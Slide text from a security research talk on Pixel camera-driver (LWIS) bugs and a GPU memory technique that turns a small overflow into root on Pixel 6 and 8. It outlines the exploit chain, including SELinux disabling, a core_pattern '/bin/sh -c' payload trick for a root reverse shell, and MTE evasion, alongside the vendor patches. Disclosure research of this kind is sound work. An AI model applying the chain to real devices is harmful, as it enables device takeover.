GPUAF - Using a general GPU
exploit tech to attack Pixel8
PAN ZHENPENG & JHENG BING JHONG
About us
● Pan Zhenpeng(@peterpan980927), Mobile Security Researcher at STAR
Labs
● Jheng Bing Jhong(@st424204), Senior Security Researcher at STAR Labs
Agenda
● Introduction
● Bug analysis
● GPUAF exploit
● Conclusion
Android Kernel mitigations
● Android 14 kernel 5.10(5.15/6.1)
● PAN/PXN
● UAO
● PAC
● MTE
● KASLR
● CONFIG_INIT_STACK_ALL_ZERO
● CONFIG_INIT_ON_ALLOC_DEFAULT_ON
● CONFIG_DEBUG_LIST/CONFIG_SLAB_FREELIST_RANDOM/…
● Vendor independent mitigations (KNOX/DEFEX/PhysASLR/…)
UAO - User Access Override
● A mitigation for addr_limit easy win, unprivileged load/store instructions(used
in copy_[from/to]_user) will be overridden with normal when in KERNEL_DS
● Before UAO:
○ KAAR: write(pfd[1], kbuf, count) + read(pfd[0], ubuf, count)
○ KAAW: write(pfd[1], ubuf, count) + read(pfd[0], kbuf, count)
● After UAO:
○ KAAR: write(pfd[1], kbuf, count) + read(pfd[0], ubuf, count)
○ copy_to_user will fail and panic due to our task is at KERNEL_DS, which UAO is enabled and
will fault on user-space access due to PAN
MTE - Memory Tagging Extension
● MTE start supported in Pixel 8
● One of the strongest mitigation for now
● adb shell setprop arm64.memtag.bootctl memtag,memtag-kernel
● Many blogs explained it already, e.g: MTE as explained
● Basically it’s a sanitizer with hardware support
● Won’t crash the kernel even it failed at check 🤔
CONFIG_SLAB_VIRTUAL
● preventing virtual address reuse across cache/zone
● Similar to Zone va sequester on iOS/macOS
● Only recycle physical memory in GC, VA is pinned to a certain cache/zone
● A killer mitigation towards cross cache/zone exploit technique
● Haven’t been introduced on Android yet :)
CONFIG_RANDOM_KMALLOC_CACHES
● Introduces multiple generic slab caches for each size
● Similar to kalloc_type on iOS/macOS
● When an object allocated via kmalloc() it is allocated to one of N caches
randomly, decrease the success rate of heap OOB bugs
● Haven’t been introduced on Android yet :)
Vendor Specific Mitigations
● KNOX (EL2)
● DEFEX
● Physical KASLR
● Enhanced SELinux
Motivations
● Most researchers focusing on finding exploit primitives in linux mainstream
● Write on read only page
○ struct pipe_buffer (dirtypipe)
● Spray user control data in kernel
○ pipe data’s page
○ sk_buff data
○ aio page
● Arbitrary physical address read/write
○ Page tables
Motivations
● Most researchers focusing on finding exploit primitives in linux mainstream
● Many researchers targeting at gpu bugs, but can gpu be used as exploit techs
by bugs out of gpu?
Google projectzero: 0 days in the wild RCA
Agenda
● Introduction
● Bug analysis
● GPUAF exploit
● Conclusion
(LWIS) Lightweight Imaging Subsystem
● A hardware device used by camera subsystem for accelerating
● /dev/lwis-* accessed by system user with camera_hal context
● Has some past CVEs in Pixel Security Bulletin
● We decided to give it a shot since we are new to android
● And here’s what we found:
Bug 1
● DoS in lwis_ioctl_handle_cmd_pkt
● It use a while loop to copy ioctl msg link list from userspace
Bug 1
● DoS in lwis_ioctl_handle_cmd_pkt
● And we could point next to itself and create a deadloop
struct lwis_cmd_pkt {
uint32_t cmd_id;
int32_t ret_code;
struct lwis_cmd_pkt *next;
};
lwis_ioctl_handle_cmd_pkt:
//…
ret = handle_cmd_pkt(lwis_client, &header, user_msg);
if (ret) {
return ret;
}
user_msg = header.next; ← dead loop
Bug 2
● Integer overflow in prepare_response_locked
Bug 2
● Integer overflow in prepare_response_locked
● transaction->resp was allocated by the overflowed resp_size
Bug 2
● lwis_process_transactions_in_queue will be invoked by another kernel thread,
finally call into process_io_entries to trigger oob:
Bug 2 patch
● Integer overflow in prepare_response_locked
Bug 3
● OOB access in lwis_initialize_transaction_fences
● construct_transaction_from_cmd do init by copy_from_user
Bug 3
● OOB access in lwis_initialize_transaction_fences
● info->trigger_condition.num_nodes is totally controlled by user
Bug 3 patch
● Num_nodes is size_t type, no needs to check for negative number
Bug 3 patch
● k_transaction used right after construct_transaction_from_cmd, sanitize once
is totally enough
Bug 4
● Type confusion in lwis_add_completion_fence
Bug 4 patch
● Structure lwis_fence add a new field called struct_id at the first 4 bytes
Bug 4 patch
● Instead of directly taking the private_data used as fence, it check the struct_id
Bug 5
● Integer overflow bug 2 in prepare_response
Bug 5 patch
● Integer overflow 2 in prepare_response
Bug 6
● Type confusion bug 2 in lwis_trigger_fence_add_transaction
Bug 6 patch
● Type confusion bug 2 in lwis_trigger_fence_add_transaction
Bug 7
● uninit bug in construct_transaction_from_cmd
Bug 7
● num_trigger_fences is an integer type and fetched from kmalloc without
initialization, but under init_all_zero mitigation, it can’t be exploited
Bug 7 patch
● Not sure which commit patch it, but after a merge in android 15 branch, it use
kzalloc to replace kmalloc
Bug 8
● Type confusion bug 3 in lwis_trigger_event_add_weak_transaction
Bug 8
● Type confusion bug 3 in lwis_trigger_event_add_weak_transaction
Bug 8 patch
● Fix is the same, replace the direct fetch by safe lwis_fence_get
Agenda
● Introduction
● Bug analysis
● GPUAF exploit
● Conclusion
GPU Mobile Ecosystem
● MediaTek (Mali)
○ Pixel series, Samsung/Xiaomi/… low end series
● Qualcomm (kgsl)
○ Samsung/Xiaomi/Oppo/Vivo/Honor/… high end series
● Apple (close sourced)
○ iPhone series
GPU mechanisms - memory allocations
● Allocate from gpu driver
● Mali: kbase_api_mem_alloc
● Kgsl: kgsl_ioctl_gpumem_alloc
● Apple: IOGPUDeviceUserClient::new_resource
GPU mechanisms - memory allocations
● Import from CPU’s memory
● Mali: kbase_api_mem_import
● Kgsl: KGSL_MEMFLAGS_USE_CPU_MAP
● Apple: IOGPUDeviceUserClient::new_resource (specify iosurface_id)
GPU mechanisms - Shrinkers
● Recycle the GPU memory
● Mali: kbase_mem_shrink
● Kgsl: kgsl_reclaim_shrinker
● Apple: AGXParameterManagement::checkForShrink
GPU exploits - PUAF
● PUAF (Page Use-after-free) is a strong primitive in exploit
● Many mitigations based on virtual memory (KASLR/Heap isolation/…)
● If we can reuse the memory as kernel objects or even pagetables, we can
easily bypass many mitigations and gain KAARW
● GPU memory objects seems can give us such primitive, and we will dive into
Mali for an example:
GPUAF - Mali
● kbase_va_region represents a GPU memory region, and attributes for CPU/GPU mappings
● Allocate
struct kbase_va_region *reg;
reg = kbase_mem_alloc(kctx, alloc_ex->in.va_pages, alloc_ex->in.commit_pages,
alloc_ex->in.extension, &flags, &gpu_va, mmu_sync_info);
if (!reg)
return -ENOMEM;
● Free
GPUAF - Mali
● kbase_va_region represents a GPU memory region, and attributes for CPU/GPU mappings
● Allocate
● Free
reg = kbase_region_tracker_find_region_base_address(kctx, gpu_addr);
if (kbase_is_region_invalid_or_free(reg)) {
dev_warn(kctx->kbdev->dev, "%s called with nonexistent gpu_addr 0x%llX",
__func__, gpu_addr);
err = -EINVAL;
goto out_unlock;
}
GPUAF - Mali
● kbase_va_region represents a GPU memory region, and attributes for CPU/GPU mappings
struct kbase_va_region {
struct rb_node rblink;
// …
unsigned long flags; // ← KBASE_REG_{FREE/CPU_WR/…}
struct kbase_mem_phy_alloc *cpu_alloc; // ← phys mem mmap to the CPU when mapping it
struct kbase_mem_phy_alloc *gpu_alloc; // ← phys mem mmap to the GPU when mapping it
// …
}
GPUAF - Mali
● kbase_mem_phy_alloc is physical pages tracking object
struct kbase_mem_phy_alloc {
struct kref kref; // ← number of users of this alloc
atomic_t gpu_mappings; // ← count number of times mapped on the GPU
atomic_t kernel_mappings; // ← count number of times mapped on the CPU
size_t nents; // ← number of pages valid
struct tagged_addr *pages;
struct list_head mappings;
// …
}
GPUAF - Mali
● kbase_mem_phy_alloc is an elastic object in the general slab cache, size is base + 8 * pages
static inline struct kbase_mem_phy_alloc *kbase_alloc_create(
struct kbase_context *kctx, size_t nr_pages,
enum kbase_memory_type type, int group_id)
struct kbase_mem_phy_alloc *alloc;
size_t alloc_size = sizeof(*alloc) + sizeof(*alloc->pages) * nr_pages; // <--- object size
size_t per_page_size = sizeof(*alloc->pages);
// …
alloc = kzalloc(alloc_size, GFP_KERNEL);
GPUAF - Mali
● Mali’s ioctl function kbase_mem_commit can reach the shrinker
● Trigger the shrinker need to fullfill some requirements:
if (atomic_read(®->gpu_alloc->gpu_mappings) > 1)
goto out_unlock;
if (atomic_read(®->cpu_alloc->kernel_mappings) > 0)
goto out_unlock;
if (new_pages > old_pages) {
// …
} else {
res = kbase_mem_shrink(kctx, reg, new_pages);
if (res) res = -ENOMEM;
}
GPUAF - “One byte to root them all”
● If we first allocate a native page from GPU, then alias this region, it’s
gpu_mapping field should be 2
● For a memory region allocate in GPU not imported by CPU, the
kernel_mappings is always 0
● Then we overwrite the gpu_mappings to 1 and trigger kbase_mem_commit,
GPU will shrink the page and return it back to mem_pool
● After the page was recycled, we still hold the handler by alias region, thus turn
OOB into PUAF
GPUAF - Mali GPU R/W
● OpenCL
○ A framework for writing programs that execute across heterogeneous platforms consisting of
central processing units (CPUs), graphics processing units (GPUs), digital signal processors
(DSPs), field-programmable gate arrays (FPGAs) and other processors or hardware
accelerators.
○ Specifies programming languages (based on C99, C++14 and C++17) for programming
abovementioned devices
● Reverse engineering the GPU instruction sets
○ https://gitlab.freedesktop.org/panfrost
○ The ioctl for running GPU instructions is KBASE_IOCTL_JOB_SUBMIT
○ Each job contains a header and a payload, and the type of the job is specified in the header
○ MALI_JOB_TYPE_WRITE_VALUE type provides a simple way to write to a GPU address
GPUAF - Mali memory management
● GPU Memory allocate
○ Step 1: allocate from the kctx->mem_pools. If insufficient, goto step 2
○ Step 2: allocate from the kbdev->mem_pools. If insufficient, goto step 3
○ Step 3: allocate from the kernel
● GPU Memory Free
○ Step 1: add the pages to kctx->mem_pools. If full, goto step 2
○ Step 2: add the pages to kbdev->mem_pools. If full, goto step 3
○ Step 3: free the remaining pages to the kernel
GPUAF - Mali post exploit
● Option 1 - Reuse as GPU PGD
struct kbase_mmu_table {
u64 *mmu_teardown_pages[MIDGARD_MMU_BOTTOMLEVEL];
struct rt_mutex mmu_lock;
phys_addr_t pgd; // ← Physical address of the page allocated for the top level page table of the context
u8 group_id;
struct kbase_context *kctx;
};
GPUAF - Mali post exploit
● Option 1 - Reuse as GPU PGD
static int mmu_get_next_pgd(...) {
p = pfn_to_page(PFN_DOWN(*pgd));
page = kmap(p);
target_pgd = kbdev->mmu_mode->pte_to_phy_addr(page[vpfn]);
if (!target_pgd) {
target_pgd = kbase_mmu_alloc_pgd(kbdev, mmut); // if target_pgd not accessed before, allocate now
kbdev->mmu_mode->entry_set_pte(&page[vpfn], target_pgd); // add new allocated pgd
GPUAF - Mali post exploit
● Option 1 - Reuse as GPU PGD
○ As the code shown before, most of the addresses are unused, PGD and PTE are only created
when they are needed for an access
○ The page that is backing pgd is allocated from kbdev->mem_pools, which is shared by all
kcontexts
○ Which means with proper mem_pool fengshui, we can reuse our freed page as GPU PGD
GPUAF - Mali post exploit
● Option 1 - Reuse as GPU PGD
○ We can first reserve pages for spray PGD later
○ And arrange the memory to fill up the free list of kctx->mem_pool
○ Spray kbase_mem_phy_alloc and trigger OOB to overwrite one of the gpu_mapping
○ After kbase_mem_commit shrink and free the page, it will return to kbdev->mem_pool
○ Then we allocate some pages again (previously reserved in kctx->mem_pool), it will take the
memory page in kbdev->mem_pool as the PGD of our new allocated pages
GPUAF - Mali post exploit
● Option 1 - Reuse as GPU PGD
○ After reuse UAF page as GPU PGD, we can make gpu va point to arbitrary physical address
○ Calculate the other variables offset from the fixed kernel PA by reversing firmware
○ Overwrite the selinux_state to 0 to disable selinux
○ Overwrite CONFIG_STATIC_USERMODEHELPER_PATH to /bin/sh
■ Though it’s readonly, but we mark it as rw in GPU PGD
○ Overwrite core_pattern to the payload wanna executed by /bin/sh
■ |/bin/sh -c <CMD>
○ Trigger SIGSEGV to execute payload in root privileges
GPUAF - Mali post exploit
● Option 2 - Reuse as Kernel object
○ As we mentioned in Step 3, if pool->next_pool does not have the capacity, then
kbase_mem_alloc_page is used to allocate pages directly from the kernel via the buddy
allocator
○ So as in the free case, when all pools are full, it will return the pages back to kernel
○ We can then reuse the free page as other kernel object and continue the exploit, and there’s
tons of ways to achieve KAARW here
GPUAF - Combine together on Pixel 6
● Reserve pages in GPU for allocating PGD later
● Use heap fengshui to create a kbase_mem_phys_alloc behind lwis
transaction->resp buffer
● Trigger integer overflow to overwrite the gpu_mappings
● Trigger mem_commit and find the UAF page
● Allocating the reserved page and reuse UAF page as PGD in GPU
● Use alias handler to modify PTE point to physical address of kernel text
● Disable selinux and use core_pattern trick to gain root reverse shell back
GPUAF - Combine together on Pixel 8?
● Reserve pages in GPU for allocating PGD later
● Use heap fengshui to create a kbase_mem_phys_alloc behind lwis
transaction->resp buffer
● Trigger integer overflow to overwrite the gpu_mappings
● Trigger mem_commit and find the UAF page
● Allocating the reserved page and reuse UAF page as PGD in GPU
● Use alias handler to modify PTE point to physical address of kernel text
● Disable selinux and use core_pattern trick to gain root reverse shell back
GPUAF - Combine together on Pixel 8?
● On Pixel6 we can use KBASE_IOCTL_JOB_SUBMIT to write GPU memory, but on those devices
have CSF feature(Pixel 7 gen and above), this ioctl will not be compiled
#if !MALI_USE_CSF
case KBASE_IOCTL_JOB_SUBMIT:
KBASE_HANDLE_IOCTL_IN(KBASE_IOCTL_JOB_SUBMIT,
kbase_api_job_submit,
struct kbase_ioctl_job_submit,
kctx);
break;
#endif /* !MALI_USE_CSF */
GPUAF - Combine together on Pixel 8?
● In this case, we need to use OpenCL for GPU memory read/write
● First we can dlsym needed functions from /vendor/lib64/libOpenCL.so and init our GPU r/w function
from gpu_rw.cl file
GPUAF - Combine together on Pixel 8?
● In this case, we need to use OpenCL for GPU memory read/write
● First we can dlsym needed functions from /vendor/lib64/libOpenCL.so and init our GPU r/w function
from gpu_rw.cl file
● Then we can wrap the gpu r/w in .c code
GPUAF - Combine together on Pixel 8?
● But openCL will introduce another problem, it auto open a new mali fd, but
each fd/kbase_context maintains its own GPU address space and also
manages its own GPU page table.
● If we try to use the mali fd we create write to the memory openCL created, it
will generate page fault in GPU side
● And if we force spray in openCL fd, it will break our heap fengshui and can
not reuse our UAF page as PGD and make us to use option 2
GPUAF - Combine together on Pixel 8?
● But what if we still wanna use option 1?
● Our solution is use a hook.so to hook our openCL functions that setup the
device and reserve our spray pages. In this way, our exploit will work.
● In this way, we reserve pages before openCL corrupt our heap fengshui and
can successfully continue our exploit
GPUAF - Other vendors?
● The memory object itself represents a region of memory and it’s reference
counted object
● Besides causing by shrinker mechanism, we can also use krefs to achieve
PUAF
● Qualcomm Adreno /PowerVR GPU should have similar memory object as
Mali GPU
GPUAF - Where is MTE?
● Except for the first OOB for PUAF, the whole exploit didn’t touch MTE, we
take use of the legitimate shrinker mechanism to get PUAF
● For the first OOB, even if detected, it will throw a KASAN in dmesg and stop
our exploit flow other than panic
● And the chance of detecting the OOB is low from the test, less than 50%
● Which means we just run it twice at most, it will give us the root shell and
clean the warning in dmesg
Demo
Demo
Agenda
● Introduction
● Bug analysis
● GPUAF exploit
● Conclusion
Conclusions
● Mitigations sometimes hard, but it might be weak from another level, think
outside the box and defeat mitigations by abusing features
● Targets not only can have vulns but also can be part of exploit path
● With more and more software/hardware mitigations, exploit with one bug is
harder, but with good exploit tech, it’s still possible
References
● Root Cause Analyses | 0-days In-the-Wild
● corrupting-memory-without-memory-corruption
● MTE As Implemented, Part 1: Implementation Testing
● Make KSMA Great Again: The Art of Rooting Android devices by GPU MMU
features
● Towards the next generation of XNU memory safety: kalloc_type - Apple
Security Research
● https://github.com/thejh/linux/commit/bc52f973a53d0b525892088dfbd251bc9
34e3ac3
● Racing Against the Lock: Exploiting Spinlock UAF in the Android Kernel
Q&A
Thanks for listening
